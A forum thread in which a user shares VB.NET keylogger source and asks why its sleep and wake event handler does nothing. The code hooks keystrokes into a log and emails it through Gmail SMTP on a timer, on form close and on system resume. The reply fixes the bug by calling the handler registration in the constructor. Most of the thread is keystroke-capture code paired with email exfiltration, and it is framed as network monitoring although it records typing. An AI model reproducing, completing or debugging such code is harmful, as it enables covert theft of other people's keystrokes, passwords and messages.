I have a keylogger program used to monitor my network to ensure no one is messing with my information. I've been trying to program in a feature that would add to the ongoing log "system suspended or resumed" and send the log via an email on powermode.suspend or powermode.resume. I'm already able to send the log via email, just not in the powermodes events for some reason. Actually, it seems my program is not executing any commands in my powermodes section, it won't even append the "System Sleep" or "System Wake" line to the log. Here's the code I have so far. Can anyone help point in some sort of direction or offer an explanation for what's going on or how I can resolve it?
I've already tried putting a send email command in the system suspend section, but it gives me an error saying it couldn't send once the system resumes. I have the email log sending any other time fine.
Imports System.Net.Mail
Imports Microsoft.Win32
Public Class Form1
Dim WithEvents K As New Keyboard
Dim Append As String
Public Shared log As String
Public Sub Handler()
AddHandler SystemEvents.PowerModeChanged, _
AddressOf SystemEvents_PowerModeChanged
End Sub
Private Sub SystemEvents_PowerModeChanged(ByVal sender As Object, ByVal e As PowerModeChangedEventArgs)
Select Case e.Mode
Case PowerModes.Resume
log = log + " <System Wake-Up> "
SendMail()
K.DiposeHook()
K.CreateHook()
log = ""
Case PowerModes.Suspend
log = log + " <System Sleep> "
End Select
End Sub
Sub SendMail()
Dim Mail As New MailMessage
Mail.Subject = "Keylog"
Mail.To.Add("***********")
Mail.From = New MailAddress("***********")
Mail.Body = log
Dim SMTP As New SmtpClient("smpt.gmail.com")
SMTP.Host = "smtp.gmail.com"
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("*********", "***********")
SMTP.Port = "587"
SMTP.Send(Mail)
End Sub
Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
SendMail()
K.DiposeHook()
End Sub
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
K.CreateHook()
End Sub
Private Sub K_Down(ByVal Key As String) Handles K.Down
Append &= Key
log &= Key
End Sub
Private Sub tmremail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmremail.Tick
tmremail.Stop()
SendMail()
log = ""
tmremail.Enabled = True
End Sub
End Class
Edit*
Public Sub Handler()
AddHandler SystemEvents.PowerModeChanged, _
AddressOf SystemEvents_PowerModeChanged
End Sub
Public Sub New()
Me.InitializeComponent()
Me.Handler() '<- Invoke
End Sub
Private Sub SystemEvents_PowerModeChanged(ByVal sender As Object, ByVal e As PowerModeChangedEventArgs)
Select Case e.Mode
Case PowerModes.Resume
log = log + " <System Wake-Up> "
SendMail()
K.DiposeHook()
K.CreateHook()
log = ""
Case PowerModes.Suspend
log = log + " <System Sleep> "
End Select
End Sub
There is no call to
Handler()
in your code, thus no event added. Invoke the method in your construcor like this: